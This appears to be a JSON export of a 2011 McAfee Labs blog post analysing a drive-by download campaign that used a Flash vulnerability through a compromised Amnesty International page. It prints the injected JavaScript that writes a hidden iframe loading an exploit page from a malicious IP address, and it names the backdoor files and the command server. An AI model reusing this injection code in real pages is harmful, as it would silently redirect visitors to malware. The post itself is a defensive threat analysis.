{"id":8971,"date":"2011-05-04T13:57:16","date_gmt":"2011-05-04T20:57:16","guid":{"rendered":"http:\/\/blogs.mcafee.com\/?p=8971"},"modified":"2025-05-29T03:43:20","modified_gmt":"2025-05-29T10:43:20","slug":"drive-by-downloads-attack-adobe-zero-day-flaw","status":"publish","type":"post","link":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/","title":{"rendered":"Drive-By Downloads Attack Adobe Zero-Day Flaw"},"content":{"rendered":"<p>Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit targeting this vulnerability was embedded inside Microsoft Excel documents and was used to deliver the malicious code to the victims. McAfee Labs performed a detailed technical analysis of the exploit and learned that the Flash Player object embedded inside the Excel document carried the malicious shellcode (shown below), which in turn loaded another Flash object to exploit the vulnerability via the classical heap-spray technique.<\/p>\n<p><a href=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8979\" src=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png\" alt=\"\" width=\"513\" height=\"424\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png 513w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1-300x247.png 300w\" sizes=\"auto, (max-width: 513px) 100vw, 513px\" \/><\/a><\/p>\n<p>A couple of weeks ago we came across another variation in this attack via <strong>a drive-by download <\/strong>through a compromised web server.<\/p>\n<p>In a drive-by download, a user visits a legitimate but infected web page and is redirected to a malicious server. Most of these infections are malicious iframes injected into a JavaScript exploit on the compromised web server, resulting in the malware installing itself onto the user&#8217;s machine. This is a common and widely known attack method.<\/p>\n<p>A drive-by download usually goes like this:<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb2..png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8981\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb2..png\" alt=\"\" width=\"768\" height=\"333\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb2..png 768w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb2.-300x130.png 300w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/a><\/p>\n<p>During our investigation, we came across an Amnesty International website that was compromised with a JavaScript exploit appended at the end of the page. The page source looked like this:<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb31..png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8988\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb31..png\" alt=\"\" width=\"600\" height=\"200\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb31..png 600w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb31.-300x100.png 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>This insertion will make the browser request the JavaScript exploit from the compromised server, which in turn contains the links to the malicious server.<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb41.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8989\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb41.png\" alt=\"\" width=\"996\" height=\"200\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb41.png 996w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb41-300x60.png 300w\" sizes=\"auto, (max-width: 996px) 100vw, 996px\" \/><\/a><\/p>\n<p>Looking into the content of the JavaScript exploit, we see the embedded iframe source that redirects the browser to the malware-hosting web server, from which the exploit downloads the malicious Adobe Flash files.<\/p>\n<p><em>if(document.cookie.indexOf(&#8216;popad&#8217;)==-1){<\/em><br \/>\n<em>.var e=new Date();e.setDate(e.getDate()+1);e.setHours(0,0,0);e.setTime(e.getTime()); <\/em><br \/>\n<em>.document.cookie=&#8217;popad=true;path=\/;expires=&#8217;+e.toGMTString();<\/em><br \/>\n<em>..document.write<strong>(&#8220;&lt;iframe<\/strong> frameborder=0 style=&#8217;position: absolute; top:-9999px;left:-9999px&#8217; <span style=\"color: #0000ff;\"><strong>src=&#8217;http:\/\/71.6.217.131\/dir\/AI\/exploit.html<\/strong>&#8216; <\/span><\/em><br \/>\n<em>width=468 height=60 scrolling=no<strong>&gt;&lt;\/iframe&gt;<\/strong>&#8220;);<\/em><\/p>\n<p>The browser then connects to this URL and downloads the <strong>exploit.html<\/strong> page.<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb5.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8991\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb5.png\" alt=\"\" width=\"993\" height=\"200\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb5.png 993w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb5-300x60.png 300w\" sizes=\"auto, (max-width: 993px) 100vw, 993px\" \/><\/a><\/p>\n<p>This page was still alive during our investigation. Its contents looked like this:<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb61.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8993\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb61.png\" alt=\"\" width=\"749\" height=\"200\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb61.png 749w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb61-300x80.png 300w\" sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/a><\/p>\n<p>Examining this JavaScript code, we can figure out that <strong>display.swf<\/strong> is the Flash object that contains the exploit code targeting the vulnerability. This code is embedded inside another Flash object. The file <strong>newsvine.jp2<\/strong> is the actual backdoor binary, written in Visual Basic, which is first downloaded and then executed by the shellcode to exploit the vulnerability.<\/p>\n<p>The browser makes this request to download <strong>newsvine.jp2.<\/strong><\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb9.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8997\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb9.png\" alt=\"\" width=\"1201\" height=\"586\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb9.png 1201w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb9-300x146.png 300w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb9-1024x499.png 1024w\" sizes=\"auto, (max-width: 1201px) 100vw, 1201px\" \/><\/a><\/p>\n<p>Another GET request downloads the Flash object:<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb10.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8999\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb10.png\" alt=\"\" width=\"1208\" height=\"593\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb10.png 1208w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb10-300x147.png 300w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb10-1024x502.png 1024w\" sizes=\"auto, (max-width: 1208px) 100vw, 1208px\" \/><\/a><\/p>\n<p>Next we see the Flash ActionScript that we decompiled from the Flash object. The highlighted part within the code is another embedded Flash object containing the exploit code.<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb7.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8994\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb7.png\" alt=\"\" width=\"1271\" height=\"737\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb7.png 1271w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb7-300x173.png 300w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb7-1024x593.png 1024w\" sizes=\"auto, (max-width: 1271px) 100vw, 1271px\" \/><\/a><\/p>\n<p>While analyzing <ins cite=\"mailto:Ravi%20Balupari\" datetime=\"2011-05-03T18:10\"><\/ins>newsvine.jp2, we suspected this binary could have been authored in China due to the fact that resource section of this file has the locale ID of 2052, which maps to China.<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb8.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-8996\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb8.png\" alt=\"\" width=\"687\" height=\"222\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb8.png 687w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb8-300x96.png 300w\" sizes=\"auto, (max-width: 687px) 100vw, 687px\" \/><\/a><\/p>\n<p>The version information of <strong>swf.exe <\/strong>contains the string <strong>zchuang,<\/strong> which could be the author&#8217;s name.<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb11.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-9000\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb11.png\" alt=\"\" width=\"618\" height=\"306\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb11.png 618w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb11-300x148.png 300w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/><\/a><\/p>\n<p>Once executed the malware attempts to connect to the control server jeentern.dyndns.org on port 80.<\/p>\n<p><a href=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb12.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-9001\" src=\"https:\/\/mcafee.com\/wp-content\/uploads\/2011\/05\/adb12.png\" alt=\"\" width=\"996\" height=\"225\" srcset=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb12.png 996w, https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb12-300x67.png 300w\" sizes=\"auto, (max-width: 996px) 100vw, 996px\" \/><\/a><\/p>\n<p><strong><span style=\"text-decoration: underline;\">McAfee protection<\/span><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>McAfee Intrusion Prevention (formerly IntruShield) has released coverage for the Adobe Flash zero-day download Trojan under the attack signature 0x402a1700-HTTP: Adobe Flash Drive By Download Trojan. McAfee customers with up-to-date installations are protected against this malware.<\/p>\n<h2>&#8212;&#8212;&#8211; UPDATE &#8212;&#8212;&#8212;&#8211;<\/h2>\n<p>To clarify &#8211; this exploits CVE-2011-0611 and NOT a new 0-day or new vulnerability. Sorry if the earlier lack of specificity caused any confusion!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier&#8230;.<\/p>\n","protected":false},"author":674,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[442],"tags":[180],"coauthors":[3973],"class_list":["post-8971","post","type-post","status-publish","format-standard","hentry","category-mcafee-labs","tag-malware"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Drive-By Downloads Attack Adobe Zero-Day Flaw | McAfee Blog<\/title>\n<meta name=\"description\" content=\"Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Drive-By Downloads Attack Adobe Zero-Day Flaw | McAfee Blog\" \/>\n<meta property=\"og:description\" content=\"Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/\" \/>\n<meta property=\"og:site_name\" content=\"McAfee Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/McAfee\/\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/McAfee\/\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-04T20:57:16+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-05-29T10:43:20+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"513\" \/>\n\t<meta property=\"og:image:height\" content=\"424\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"McAfee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@McAfee\" \/>\n<meta name=\"twitter:site\" content=\"@McAfee\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"McAfee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/\"},\"author\":{\"name\":\"McAfee\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa\"},\"headline\":\"Drive-By Downloads Attack Adobe Zero-Day Flaw\",\"datePublished\":\"2011-05-04T20:57:16+00:00\",\"dateModified\":\"2025-05-29T10:43:20+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/\"},\"wordCount\":583,\"publisher\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png\",\"keywords\":[\"malware\"],\"articleSection\":[\"McAfee Labs\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/\",\"name\":\"Drive-By Downloads Attack Adobe Zero-Day Flaw | McAfee Blog\",\"isPartOf\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png\",\"datePublished\":\"2011-05-04T20:57:16+00:00\",\"dateModified\":\"2025-05-29T10:43:20+00:00\",\"description\":\"Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit\",\"breadcrumb\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png\",\"contentUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Other Blogs\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"McAfee Labs\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Drive-By Downloads Attack Adobe Zero-Day Flaw\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#website\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/\",\"name\":\"McAfee Blog\",\"description\":\"Internet Security News\",\"publisher\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.mcafee.com\/blogs\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\",\"name\":\"McAfee\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png\",\"contentUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png\",\"width\":1286,\"height\":336,\"caption\":\"McAfee\"},\"image\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/McAfee\/\",\"https:\/\/x.com\/McAfee\",\"https:\/\/www.linkedin.com\/company\/mcafee\/\",\"https:\/\/www.youtube.com\/McAfee\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa\",\"name\":\"McAfee\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/image\/1ffadfeeda1f4f9e7891a81f27a9ecf4\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png\",\"contentUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png\",\"caption\":\"McAfee\"},\"description\":\"We're here to make life online safe and enjoyable for everyone.\",\"sameAs\":[\"https:\/\/www.facebook.com\/McAfee\/\",\"https:\/\/www.linkedin.com\/company\/mcafee\/\",\"https:\/\/x.com\/McAfee\"],\"url\":\"https:\/\/www.mcafee.com\/blogs\/author\/mcafee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Drive-By Downloads Attack Adobe Zero-Day Flaw | McAfee Blog","description":"Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"en_US","og_type":"article","og_title":"Drive-By Downloads Attack Adobe Zero-Day Flaw | McAfee Blog","og_description":"Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit","og_url":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/","og_site_name":"McAfee Blog","article_publisher":"https:\/\/www.facebook.com\/McAfee\/","article_author":"https:\/\/www.facebook.com\/McAfee\/","article_published_time":"2011-05-04T20:57:16+00:00","article_modified_time":"2025-05-29T10:43:20+00:00","og_image":[{"width":513,"height":424,"url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png","type":"image\/png"}],"author":"McAfee","twitter_card":"summary_large_image","twitter_creator":"@McAfee","twitter_site":"@McAfee","twitter_misc":{"Written by":"McAfee","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#article","isPartOf":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/"},"author":{"name":"McAfee","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa"},"headline":"Drive-By Downloads Attack Adobe Zero-Day Flaw","datePublished":"2011-05-04T20:57:16+00:00","dateModified":"2025-05-29T10:43:20+00:00","mainEntityOfPage":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/"},"wordCount":583,"publisher":{"@id":"https:\/\/www.mcafee.com\/blogs\/#organization"},"image":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png","keywords":["malware"],"articleSection":["McAfee Labs"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/","url":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/","name":"Drive-By Downloads Attack Adobe Zero-Day Flaw | McAfee Blog","isPartOf":{"@id":"https:\/\/www.mcafee.com\/blogs\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage"},"image":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage"},"thumbnailUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png","datePublished":"2011-05-04T20:57:16+00:00","dateModified":"2025-05-29T10:43:20+00:00","description":"Adobe released a security advisory warning the users of a zero-day vulnerability in Adobe Flash Player Versions 10.2.152.33 and earlier. An exploit","breadcrumb":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#primaryimage","url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png","contentUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2011\/05\/adb1.1.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/drive-by-downloads-attack-adobe-zero-day-flaw\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.mcafee.com\/blogs\/"},{"@type":"ListItem","position":2,"name":"Other Blogs","item":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/"},{"@type":"ListItem","position":3,"name":"McAfee Labs","item":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/"},{"@type":"ListItem","position":4,"name":"Drive-By Downloads Attack Adobe Zero-Day Flaw"}]},{"@type":"WebSite","@id":"https:\/\/www.mcafee.com\/blogs\/#website","url":"https:\/\/www.mcafee.com\/blogs\/","name":"McAfee Blog","description":"Internet Security News","publisher":{"@id":"https:\/\/www.mcafee.com\/blogs\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.mcafee.com\/blogs\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.mcafee.com\/blogs\/#organization","name":"McAfee","url":"https:\/\/www.mcafee.com\/blogs\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/","url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png","contentUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png","width":1286,"height":336,"caption":"McAfee"},"image":{"@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/McAfee\/","https:\/\/x.com\/McAfee","https:\/\/www.linkedin.com\/company\/mcafee\/","https:\/\/www.youtube.com\/McAfee"]},{"@type":"Person","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/47851fdb92fad9456152405839c92efa","name":"McAfee","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/image\/1ffadfeeda1f4f9e7891a81f27a9ecf4","url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png","contentUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2020\/08\/Original-Logo-96x96.png","caption":"McAfee"},"description":"We're here to make life online safe and enjoyable for everyone.","sameAs":["https:\/\/www.facebook.com\/McAfee\/","https:\/\/www.linkedin.com\/company\/mcafee\/","https:\/\/x.com\/McAfee"],"url":"https:\/\/www.mcafee.com\/blogs\/author\/mcafee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/8971","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/users\/674"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/comments?post=8971"}],"version-history":[{"count":3,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/8971\/revisions"}],"predecessor-version":[{"id":214724,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/8971\/revisions\/214724"}],"wp:attachment":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/media?parent=8971"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/categories?post=8971"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/tags?post=8971"},{"